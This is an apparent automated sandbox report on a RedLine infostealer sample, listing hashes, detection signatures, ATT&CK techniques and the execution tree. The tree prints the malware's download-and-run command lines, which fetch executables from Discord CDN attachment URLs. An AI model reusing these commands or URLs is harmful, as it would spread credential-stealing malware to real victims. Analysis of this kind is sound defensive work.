redline | 6da210965cd769856bbcb8bb501abf25c832f0f6a70e73240436629ce6362fa9

Analysis

max time kernel
83s
max time network
152s
platform
windows10_x64
resource
win10v20210408
submitted
31/07/2021, 03:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
08ddca87b625734e0028a89fd4ec7247.exe
Size 98KB
Sample210731-rynmvce2ts
SHA256 6da210965cd769856bbcb8bb501abf25c832f0f6a70e73240436629ce6362fa9
MD5 08ddca87b625734e0028a89fd4ec7247
SHA1 00f577cfd480bd7527122b4f3a96d1914ca6dd55
SHA512 d2aabdecd49c087fbf2a070d79d3e6523228451814d5462336459c1200c72cb065a87617b9bb47d28fd9ed4e8706500a978c52f800b0f6422438a6dbba3129ad
MD5 SHA1 SHA512

Score

10^/10

redline discovery infostealer spyware stealer suricata upx

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Downloads MZ/PE file

Executes dropped EXE 14 IoCs

pid	Process
2112	mine.exe
508	clip.exe
664	extd.exe
3164	extd.exe
4036	extd.exe
1496	extd.exe
1144	extd.exe
2664	extd.exe
1852	clo.exe
2268	extd.exe
632	welldone.exe
3164	extd.exe
3544	clo.exe
1140	clo.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000001ab47-140.dat	upx
behavioral2/files/0x000100000001ab47-141.dat	upx
behavioral2/files/0x000100000001ab4c-143.dat	upx
behavioral2/files/0x000100000001ab4c-144.dat	upx
behavioral2/files/0x000100000001ab47-146.dat	upx
behavioral2/files/0x000100000001ab4c-148.dat	upx
behavioral2/files/0x000100000001ab47-150.dat	upx
behavioral2/files/0x000100000001ab4c-152.dat	upx
behavioral2/files/0x000100000001ab4c-156.dat	upx
behavioral2/files/0x000100000001ab47-168.dat	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1852 set thread context of 1140	1852	clo.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4068	632	WerFault.exe	94

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
992	08ddca87b625734e0028a89fd4ec7247.exe
992	08ddca87b625734e0028a89fd4ec7247.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe
4068	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	992	08ddca87b625734e0028a89fd4ec7247.exe
Token: SeDebugPrivilege	4068	WerFault.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 2112	992	08ddca87b625734e0028a89fd4ec7247.exe	79
PID 992 wrote to memory of 2112	992	08ddca87b625734e0028a89fd4ec7247.exe	79
PID 2112 wrote to memory of 576	2112	mine.exe	80
PID 2112 wrote to memory of 576	2112	mine.exe	80
PID 992 wrote to memory of 508	992	08ddca87b625734e0028a89fd4ec7247.exe	81
PID 992 wrote to memory of 508	992	08ddca87b625734e0028a89fd4ec7247.exe	81
PID 508 wrote to memory of 1836	508	clip.exe	83
PID 508 wrote to memory of 1836	508	clip.exe	83
PID 576 wrote to memory of 664	576	cmd.exe	85
PID 576 wrote to memory of 664	576	cmd.exe	85
PID 1836 wrote to memory of 3164	1836	cmd.exe	86
PID 1836 wrote to memory of 3164	1836	cmd.exe	86
PID 576 wrote to memory of 4036	576	cmd.exe	87
PID 576 wrote to memory of 4036	576	cmd.exe	87
PID 1836 wrote to memory of 1496	1836	cmd.exe	88
PID 1836 wrote to memory of 1496	1836	cmd.exe	88
PID 576 wrote to memory of 1144	576	cmd.exe	89
PID 576 wrote to memory of 1144	576	cmd.exe	89
PID 1836 wrote to memory of 2664	1836	cmd.exe	90
PID 1836 wrote to memory of 2664	1836	cmd.exe	90
PID 1836 wrote to memory of 1852	1836	cmd.exe	91
PID 1836 wrote to memory of 1852	1836	cmd.exe	91
PID 1836 wrote to memory of 1852	1836	cmd.exe	91
PID 1836 wrote to memory of 2268	1836	cmd.exe	93
PID 1836 wrote to memory of 2268	1836	cmd.exe	93
PID 576 wrote to memory of 632	576	cmd.exe	94
PID 576 wrote to memory of 632	576	cmd.exe	94
PID 576 wrote to memory of 3164	576	cmd.exe	95
PID 576 wrote to memory of 3164	576	cmd.exe	95
PID 1852 wrote to memory of 3544	1852	clo.exe	96
PID 1852 wrote to memory of 3544	1852	clo.exe	96
PID 1852 wrote to memory of 3544	1852	clo.exe	96
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97
PID 1852 wrote to memory of 1140	1852	clo.exe	97

C:\Users\Admin\AppData\Local\Temp\08ddca87b625734e0028a89fd4ec7247.exe
"C:\Users\Admin\AppData\Local\Temp\08ddca87b625734e0028a89fd4ec7247.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:992
- C:\Users\Admin\AppData\Local\Temp\mine.exe
  "C:\Users\Admin\AppData\Local\Temp\mine.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\DBB2.bat C:\Users\Admin\AppData\Local\Temp\mine.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:576
  - - C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:664
  - - C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:4036
  - - C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626065511501945/welldone.exe" "welldone.exe" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:1144
  - - C:\Users\Admin\AppData\Local\Temp\25918\welldone.exe
      welldone.exe
      4⤵
      Executes dropped EXE
      PID:632
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 632 -s 1072
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4068
  - - C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:3164
- C:\Users\Admin\AppData\Local\Temp\clip.exe
  "C:\Users\Admin\AppData\Local\Temp\clip.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\DC4E.bat C:\Users\Admin\AppData\Local\Temp\clip.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:3164
  - - C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:1496
  - - C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626071547097128/clo.exe" "clo.exe" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:2664
  - - C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
      clo.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1852
    - - C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
        
        C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
        5⤵
        Executes dropped EXE
        
        PID:3544
    - - C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
        
        C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
        5⤵
        Executes dropped EXE
        
        PID:1140
  - - C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
      C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
      4⤵
      Executes dropped EXE
      PID:2268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/632-164-0x00000000000B0000-0x00000000000B1000-memory.dmp

Download

memory/992-121-0x0000000004C50000-0x0000000004C51000-memory.dmp

Download

memory/992-119-0x0000000004940000-0x0000000004941000-memory.dmp

Download

memory/992-127-0x00000000063D0000-0x00000000063D1000-memory.dmp

Download

memory/992-116-0x0000000004E80000-0x0000000004E81000-memory.dmp

Download

memory/992-126-0x0000000006E90000-0x0000000006E91000-memory.dmp

Download

memory/992-117-0x00000000048A0000-0x00000000048A1000-memory.dmp

Download

memory/992-125-0x0000000006070000-0x0000000006071000-memory.dmp

Download

memory/992-124-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

Download

memory/992-118-0x0000000004900000-0x0000000004901000-memory.dmp

Download

memory/992-128-0x0000000007B20000-0x0000000007B21000-memory.dmp

Download

memory/992-123-0x0000000006460000-0x0000000006461000-memory.dmp

Download

memory/992-120-0x0000000004870000-0x0000000004E76000-memory.dmp

Download

memory/992-122-0x0000000005D60000-0x0000000005D61000-memory.dmp

Download

memory/992-114-0x0000000000090000-0x0000000000091000-memory.dmp

Download

memory/1140-171-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1140-174-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1852-158-0x00000000000C0000-0x00000000000C1000-memory.dmp

Download

memory/1852-169-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Download